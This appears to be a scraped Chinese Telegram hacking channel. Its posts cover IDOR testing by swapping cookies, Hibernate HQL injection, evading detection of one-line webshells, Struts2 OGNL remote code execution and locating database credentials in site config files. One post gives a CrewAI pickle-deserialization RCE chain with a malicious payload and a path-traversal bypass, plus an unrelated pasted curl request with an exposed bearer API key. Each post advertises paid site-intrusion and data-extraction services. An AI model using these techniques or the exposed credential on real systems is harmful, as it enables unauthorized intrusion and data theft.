黑客网站渗透入侵破解拿权限
10.5K subscribers
2.38K photos
108 links
Download Telegram
WooYun: Like团用户信息泄露+越权漏洞(可获取大量用户住址联系信息)

本人不做开发,sql语句比较弱,大牛勿喷,此处只是为了说明问题。大家可以看到,以上语句都涉及where,而后面的userid或username即是越权的突破口。在操作数据库时功能请求中往往会带着一些参数来用于辨别信息的唯一值。而这些参数就是我们越权时需要注意的。

在web开发中判断用户身份的字段往往是不会在客户端传递的。用户登录系统后,开发人员一般会创建一个session来保存用户名。当用户在查看、修改个人信息等需要判定用户身份时,就直接从session中获取,而不会在客户端传递,也就避免了篡改。但若出现从客户端传递的话,那么就必须要有一步权限验证的要求了。所以在测试越权时要用抓包工具截获请求,细览下可能存在辨别信息的唯一值,来进行测试。这里要说一点,传输的参数并不一定在请求参数中,也有可能存在链接等位置。

打开fiddler2按f11,截断大号上更新用户信息请求。(查看参数可以选择fiddler中Inspects下的WebFroms或TextView。只有在截断的情况下,才可以修改请求。)

判断出可能辨别用户身份的参数ulogin。

步骤3:将小号中ulogin的参数值替换为大号的,然后解除fiddler截断(shift+f11),将请求放过去(),查看下大号用户信息是否更改。

以上即是常规的测试方法。大家可以看到消耗时间的麻烦在辨别参数上、对比大号和小号请求有何不一样的参数值上、切换浏览器查看数等等。如果遇到更改删除等功能,还要两端各自新建出数据、查看id等等、麻烦的要死。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
Hibernate对注入的简单

前段时间遇到一个使用了Hibernate框架的站,以前没怎么接触过(由于是Java盲,所以大家勿喷),再注入的事情发生了许多奇奇怪怪的事情,于是向本地搭一个看看是个神马情况。Hibernate配备了一种非常强大的查询语言,这种语言看上去很像SQL。但是不要被语法结构上的相似所迷惑,HQL是非常有意识的被设计为完全面向对象的查询。

本次测试的环境是JDK5.0+Tomcat8+Hibernate3.0+Servlet。

通过百度知道Hibernate的查询大概有5、6种,通过分析对注入能产生不同影响的应该有如下三种:

1、HQL方式
2、原生SQL方式
3、Criteria方式
重点是HQL方式,HQL相当于Hibernate自己有一套SQL语法,在用Hibernate作为查询中间层的时候,它会将你写的HQL翻译成对应数据库的SQL语句,Hibernate支持N种数据库。

会一丢丢Java的童鞋都知道Hibernate的使用流程

首先要告诉Hibernate数据库的连接信息,hibernate.cfg.xml文件

其实是映射你想使用的数据表(系统会按照表明自动生成文件,比如我的Userlist表会生成Userlist.hbm.xml),Userlist.hbm.xml文件:

分别将ID、USERNAME、USERPWD列映射为id、username、userpwd,而在实际环境中,开发者可能映射成他们喜欢的名字。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
用Fiddler2截断大号的请求,把小号的cookie覆盖大号的cookie,进行测试。如果改变了大号的数据则说明越权,然后在分析是哪个参数造成的。如果未改变,则说明不存在越权,该功能直接越过。小号的cookie一直在剪贴板中的,所以在测其他功能会非常方便。用不了多长时间,即可测试完整个站点下的功能。

我们来看这个方法的优点:1不用去辨别哪个参数是辨别身份的;2不用两个账户同时去创建数据;3不用去查看小号id;4单浏览器即可测试,免去切换浏览器的烦恼。这就是我常用的方法,个人感觉已经很高效了,是不是觉得跟XSS窃取了cookie后劫持浏览器的感觉一样?但是此方法并不是对所有站点都起作用,有时你会发现小号会把大号挤出去进入大号的浏览器或者登陆状态消失,直接退出。具体什么原因造成的,我现在还不太清楚,估计是服务器端有对cookie的判断吧,希望大牛们能给出合理的解释。不过在测试大部分站点时此方法还是很好用的。顺便说一下Fiddler2是一个非常好用的抓包工具,熟练使用这个工具也是测试越权时的必要技能。小白们可以自行百度下其使用方法。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
由“正方”jiam、jiemi之逆向思及Base64之逆编码表

经常遇到基友求助类似Base64编码的解码(先不说是不是Base64,下文会做说明)。如:p6FDpXlnQ1tHlLZK+NvA1hwfeND8NdXt1q6whqP6WODTEBP4UzzjnDQ== 这个很像Base64编码吧,但你用标准Base64去解码得到的结果明显不是想要的(这个有N多可能)。

再议“正方”之jiam、jiemi
为什么是再议呢?因为正方教务系统的“加密”、“解密”运作方式早已被讨论N多次了,网上甚至可以找到此算法的N多版本(可自行Baidu、Google)。 两个典型的场景是:

① 有多组密文,已知几组密文对应的明文和加密算法,但是由于无法获得加密所使用的Key,无法解密其它密文。
② 由系统某缺陷可以获得加密后的密文(当然明文是自己的密码这个是可控的),获得了别人的密文后由于无Key,无法解密。
为了研究此算法尝试逆得Key,我决定再写个VB版的。由于事先已从网上查知算法位于/bin/zjdx.dll中,所以找起来就简单了,网上找得一份“源码”使用Reflector载入zjdx.dll,由登录页Default2跟进到jiam方法如图
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
CrewAI FileWriterTool + PickleHandler 组合漏洞
漏洞描述

CrewAI 是一个快速、灵活的多 AI Agent 自动化框架,专为构建自主 AI Agent 和事件驱动工作流而设计。FileWriterTool 是 crewai-tools 中用于写入文件的工具,PickleHandler 是 crewai 核心库中用于持久化训练数据的工具类。

这两个组件组合起来形成了一条完整的 RCE 攻击链:FileWriterTool 可以向任意目录写入文件(无路径限制),而 PickleHandler 虽然使用 os.getcwd() 限制文件只能在当前工作目录下,但可以通过 ../ 路径穿越绕过这个限制。攻击者可以先用 FileWriterTool 写入恶意 pickle 文件,再通过 PickleHandler 的路径穿越加载该文件,触发 pickle.load() 的不安全反序列化,最终实现任意代码执行。
1 curl --location 'http://ai-2api.jdcloud.com/v1/chat/completions' \
2 --header 'Authorization: Bearer pk-6f6c6dc5-010a-44d7-bb2c-cc2c60410ca8' \
3 --header 'Content-Type: application/json' \
4 --data '{
5 "model": "Gemini-2.5-pro",
6 "messages": [
7 {
8 "role": "user",
9 "content": "世界最长的河流是什么?"
10 }
11 ],
12 "thinking_budget":1024 (非必填),
13 "max_tokens": 1000(非必填),
14 "thinking":true,
15 "stream":false
16 }'

分步骤复现
用 FileWriterTool 写入恶意 pickle 文件


FileWriterTool 使用文本模式 (mode="w") 写入文件,而 pickle 通常是二进制格式。我们试试用 pickle 协议 0 生成 ASCII 格式的 payload,看能不能绕过这个限制。
1 import pickle
2 import os
3
4 class MaliciousPayload:
5 def __reduce__(self):
6 return (os.system,('echo RCE_SUCCESS > /tmp/test.txt',))
7
8 # 使用协议 0 生成 ASCII pickle
9 pickle_bytes =
10pickle.dumps(MaliciousPayload(), protocol=0)
pickle_str = pickle_bytes.decode('latin-1')
11
12 print(f"Pickle payload: {repr(pickle_str)}")

协议 0 生成的是纯 ASCII 文本,可以用 latin-1 解码为字符串,这样就能通过 FileWriterTool 的文本模式写入了
FileWriterTool 没有任何路径限制,可以写入任意目录,写 pkl 文件无问题
用 PickleHandler 路径穿越加载恶意文件

import os
from crewai.utilities.file_handler import PickleHandler

# 假设当前工作目录是 /tmp/work
os.chdir("/tmp/work")
print(f"当前目录: {os.getcwd()}")

# 使用 ../ 路径穿越绕过 os.getcwd() 限制
handler = PickleHandler("../attack/malicious.pkl")

print(f"构造的路径: {handler.file_path}")
# 输出: /tmp/work/../attack/malicious.pkl
# 实际指向: /tmp/attack/malicious.pkl

PickleHandleros.path.join(os.getcwd(), file_name) 限制文件在当前目录,但 ../ 可以穿越出去。当然也可以使用绝对路径绕过
#网站 #编程 #数据 #权限 #破解
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
要让“一句话”可以接收代码、执行代码、返回结果,首先要具备的条件是“一句话”已经通过检查。好吧,少说废话,开始行动吧!

已准备工具:

D盾_Web查杀(D盾杀的Shell比较全)

ASP、ASPX、PHP原生态无污染一句话

来看一下D盾对原生一句话的查杀情况吧!

Shit!,级别为5(eval后门)全部杀掉!这样也就是说即使你的一句话已经躺在目标网站目录了,访问的时候也会被WAF断掉连接。这样一句话本身也就失去意义了,更别说去使用它了。

那么这种情况下该怎么做呢?我的答案是:就像Windows下做exe的免杀一样,找到杀软件杀掉的特征码然后改掉或是绕过。当然免杀Shell比免杀exe简单的多了……

开始对我们的一句话做“免杀”吧!在此之前先来了解一句话木马的原理。对比下asp、aspx、php一句话,你发现了什么?

看到了吧,不同语言的一句话构成几乎完全一致!(首先请求客户端数据,然后执行请求到的数据)至于执行数据的来源,可以是Post,也可以是Get、cookies、session等(依然是Post、Get);如果考虑到数据长度、编码、隐蔽性等诸多因素当然还是使用Post方法最为合适。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
J2EE远程代码执行那些事儿(框架层面)

在J2EE远程代码执行中,大部分的代码执行情况的本质是,能够从外部去直接控制Java对象(其他语言暂不讨论,其实也差不多),控制Java对象大致包括几种情况:直接new对象;调用对象的方法(包括静态方法);访问对象的属性(赋值)等

那么一些J2EE框架在设计之中,如果某些功能允许以上操作,可能出现的远程代码执行情况。

那么我们在使用OGNL实现某些J2EE框架功能或者机制中,如果getValue或setValue函数是允许外部参数直接完整内容传入的,那肯定是很危险的!!!

比如:webWork及Struts2框架(其实真是不想说,Struts2简直就是在拖Java安全水平的后腿。它所有OGNL远程执行代码的漏洞的形成,可以用一句话简单概括:在使用OGNL实现框架某些功能或机制时,允许外部参数直接传入OGNL表达式或安全限制被饶过等)
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke
数据库信息在哪儿

寻找方式
先说一般的数据库连接信息。

第一种
一般在web.config,如某套OA就是将连接字符串存放在该文件内

第二种
有的ASP.NET程序功能较多,会自定义其它config文件,所以可能会存在多个config,而数据库连接信息就存放在其它config文件中,比如逐浪CMS(你们懂的)就有多个config文件

但数据库相关连接信息存放在ConfigConnectionStrings.config

第三种
也有更标新立异的压根不存放在config中,比如信游(你们也懂的)的免费版,也有一个config文件夹

第四种
有一些比较奇葩的,直接写在代码中。这种情况下如果没有源码cs文件,就只能反编译bin目录下的dll文件了,必须扩展开来说,这是后话了。

数据库文件

那如果是access或者SQLite的情况又会有什么变化呢?他们的数据库会存放在什么位置?

现在大多CMS为了避免直接下载MDB或相关格式的问题,在.NET中采取了其它手段去防下载,比如50cms将SQLite的数据库存放在根目录的App_Data文件夹中

另外还有直接将access数据库存放在App_Code文件夹中的,保存为.cs后缀,由于App_Code和App_Data是无法直接通过post和get来直接访问的(你有任意文件下载的话谁都拦不住你),所以在一定程度上保证了网站的安全性,比如下面的2013.cs实际就是网站的数据库
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我
@MoA_Ke